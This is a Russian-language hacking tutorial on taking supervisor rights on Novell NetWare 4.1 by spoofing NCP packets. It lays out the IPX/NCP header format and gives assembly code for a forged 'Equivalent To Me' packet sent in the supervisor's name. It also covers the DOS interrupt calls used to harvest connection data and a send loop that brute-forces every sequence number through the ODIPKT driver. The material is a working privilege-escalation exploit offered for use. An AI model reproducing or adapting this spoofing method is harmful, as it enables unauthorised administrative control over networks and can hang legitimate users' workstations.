КАК ВЗЛОМАТЬ NOVELL NETWARE 4.1 или права супервизора
1.Принцип обмена пакетами
2.Общая идея взлома
3.Как получить права супервизора
4.Последствия
Заключение
Введение
Как вы знаете все может быть сломано и NOVELL NETWARE не является ис- ключением. Однако время взлома чего-нибудь зависит от времени получения информации о этом. Чем больше информации вы найдете, тем проще вам бу- дет взламывать. В этом документе мы хотели немного рассказать о сети NOVELL и о том как ее взломать.
1.Принцип обмена пакетами.Прежде всего, сервер и рабочие станции посылают пакеты друг другу в соответствие со специальным протоколом известным как Netware Core Protocol ( NCP ) основанным на протоколе IPX. Все пакеты подписываются уникальным номером в диапозоне от 0 до 255 хранящемся в одном байте. Это поле известно как Sequence Number. Смотрите на структуру пакета.
Структура пакетаПоле Число Положение азначение байт в памяти --------------- Физический заголовок пакета ------------------ ReceiverAddress 6 Normal Адрес рабочей станции, которая будет получать пакет SenderAddress 6 Normal Адрес рабочей станции, которая посылает пакет DataLength 2 High-Low Длина пакета -------------------- Заголовок протокола IPX ----------------- CheckSum 2 Normal Контрольная сумма IpxLength 2 High-Low Длина пакета HopCount 1 - Число мостов PacketType 1 - Тип пакета DestNetwork 4 Normal Адрес сети назначения DestNode 6 Normal Адрес станции назначения DestSocket 2 Low-High Сокет программы назначения SourceNetwork 4 Normal Адрес сети источника SourceNode 6 Normal Адрес станции источника SourceSocket 2 Low-High Сокет программы источника ---------------------- Заголовок протокола NCP ------------------- RequestType 2 Low-High Зависит от запроса SequenceNumber 1 - Номер пакета ConectionNumberLow 1 - Номер соединения назначается во время подсоединения станции к серверу TaskNumber 1 - номер задачи.Это для рабочей станции наверно. е стоит о нем заботиться. Просто поставте 0 или любое значение. ConectionNumberHigh 1 - Всегда 0. FunctionCode 1 - Идентификатор функции ------------------ Данные протокола NCP ------------------------ - - - Зависит от типа запроса и функции
Инициатором является станция. Она посылает пакет с запросом и ждет от- вета. Сервер получая запрос, проверяет адрес станции , адрес сети , со- кет , номер соединения и sequence number. Если что-нибудь не в порядке сервер отказывается выполнять запрашиваемую операцию и посылать ответ.
2.Общая идея взлома.Как было сказано выше сервер проверяет все пакеты, которые он полу- чает. о если сформировать пакет как это делает другая станция, поста- вить ее адрес, номер соединения и т.д. и послать его в сеть, то сервер никогда не узнает чей запрос он выполняет. Основная трудность - sequence number, потому что другие поля могут быть получены с помощью обычных функций. Чтобы быть уверенным, что сервер выполнил операцию нужно пос- лать тот же самый пакет 255 раз с разными sequens numbers.
3.Как получить права супервизораВы можете получить права супервизора просто став его эквиваленитом. Есть функция известная как EQUEVALENT TO ME , которую следует посылать от имени супервизора. Смотрите на структуру пакета.
Структура пакета с фукцией EQUEVALENT TO ME
------------------- Заголовок физического пакета ---------------
RecAdr db 00,20h,0afh,4fh,5fh,0ah
SndAdr db 00,20h,0afh,089h,022h,0afh
DataLength db 01,68h
----------------------- Заголовок IPX пакета -------------------
dw 0ffffh
IpxLength db 01,67h
db 0
db 17
DestNetwork db ?,?,?,?
DestNode db ?,?,?,?,?,?
DestSocket db 04,51h
SourceNetWork db 00,00,01,02
SourceNode db ?,?,?,?,?,?
SourceSocket db 40h,03
--------------------- Заголовок пакета NCP --------------------
db 22h,22h
SequenceNumber db 48
ConnectionNumberLow db 24
db 4
db 0
db 68h
db 2
------------------------ Данные пакета NCP --------------------
dd -1
dd 514
S1_2: dd offset S1_1 - offset S1_2-4
dd 0
dd 9
dd 0
dd 0
dd 0
S1ID db 67h,02h,00,06h
dd 1
dd 5
dd 34
db 'E',0,'q',0,'u',0,'i',0,'v',0,'a',0,'l',0,'e',0
db 'n',0,'t',0,' ',0,'T',0,'o',0,' ',0,'M',0,'e',0
dd 0
dd 1
dd 26
db '3',0,'1',0,'0',0,'5',0,'.',0,'I',0,'N',0,'F',0
db '.',0,'T',0,'S',0,'U',0
S1_1:
Чтобы получить адрес, сеть, сокет, ID, номер соединения используй- те след. функции.
Получить номер соединения ah=E3h
ds:si=> ConReq
dw 2 - длина
db 16h - подфункция
db ? - номер соединения
es:di=> ConRep
dw 62 - длина
db 4 dup (?)
dw ? - тип пользователя
db 56 duo (?) - имя пользователя
int 21h
Вы можете послать пакет через IPX драйвер (функция 9), однако в этом
случае вы не имеете доступа к физическому заголовку пакета. Мы полагаем,
что сервер не проверяет адрес отправителя там.
Вы также можете послать через LSL драйвер, но это слишком сложно.
Самый простой способ - послать через ODIPKT драйвер ( функция 4 ).
Послать пакет через Odipkt
ah=4
cx=длина
ds:si=>пакет
int 60h
C=1 если ошибка
Процедура посылки пакетов
Send proc mov SequenceNumber,0 @@1: push ds push es mov ah,4 mov cx,Length mov si,offset Packet int 60h pop es pop ds jc @@1 mov cx,1000 loop $-2 dec SequenceNumber jne @@1 ret Send endpПосле ответа на пакет сервер ждет следующего с увеличенным на 1 sequence number"ом. Если вы попытаетесь вставить ваш пакет в работу меж- ду сервером и станцией, последняя повиснет. Этого можно избежать посыл- кой еще 255*256 пакетов. Если вы реализуете программу по этому документу у вас будут права супервизора. Мы надеемся, что вы не будете вредить таким же пользовате- лям, каким вы до этого были. Назад.